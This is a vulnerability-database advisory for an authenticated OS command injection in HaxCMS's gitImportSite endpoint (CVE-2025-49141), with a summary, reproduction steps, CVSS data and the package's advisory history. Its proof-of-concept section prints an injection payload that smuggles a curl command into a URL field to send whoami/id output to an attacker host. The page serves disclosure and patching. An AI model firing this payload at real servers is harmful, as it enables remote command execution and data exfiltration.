High

HaxCMS-PHP Command Injection Vulnerability

  • Disclosed: 09.06.2025
  • Updated: 11.10.2026 10:22

Summary

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. gitImportSite

Affected Resources

• Operations.php:2103 gitImportSite() • <domain>/<user>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

  1. Start a webserver. webserver

  2. Initiate a request to the ’archiveSite’ endpoint. archiveSite

  3. Capture and modify the request in BurpSuite. request-modification

  4. Observe command output in the HTTP request from the server. command-output

Command Injection Payload

bash
http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @haxtheweb/haxcms-nodejs < 11.0.3 11.0.3

References

CVSS score 8.5/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
npm
Package
@haxtheweb/haxcms-nodejs
Disclosed
09.06.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-g4cf-pp4x-hqgw - CC BY 4.0

Vulnerability history: @haxtheweb/haxcms-nodejs

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (16) in the archive
Total entries
16
First → latest
06.2025 05.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 10
  • Medium 4

Disclosures per year

  1. 2025: 8
  2. 2026: 8
Severity:
  1. High CVE-2026-46511 < 26.0.0 26.0.0
  2. Critical CVE-2026-46395 < 26.0.0 26.0.0
  3. High CVE-2026-46393 < 26.0.0 26.0.0
  4. High · 8.0 CVE-2026-22704 >= 11.0.6, < 25.0.0 25.0.0
  5. High · 8.3 CVE-2025-54378 < 11.0.14 11.0.14
  6. HaxCMS-PHP Command Injection Vulnerability this entry
    High · 8.5 CVE-2025-49141 < 11.0.3 11.0.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.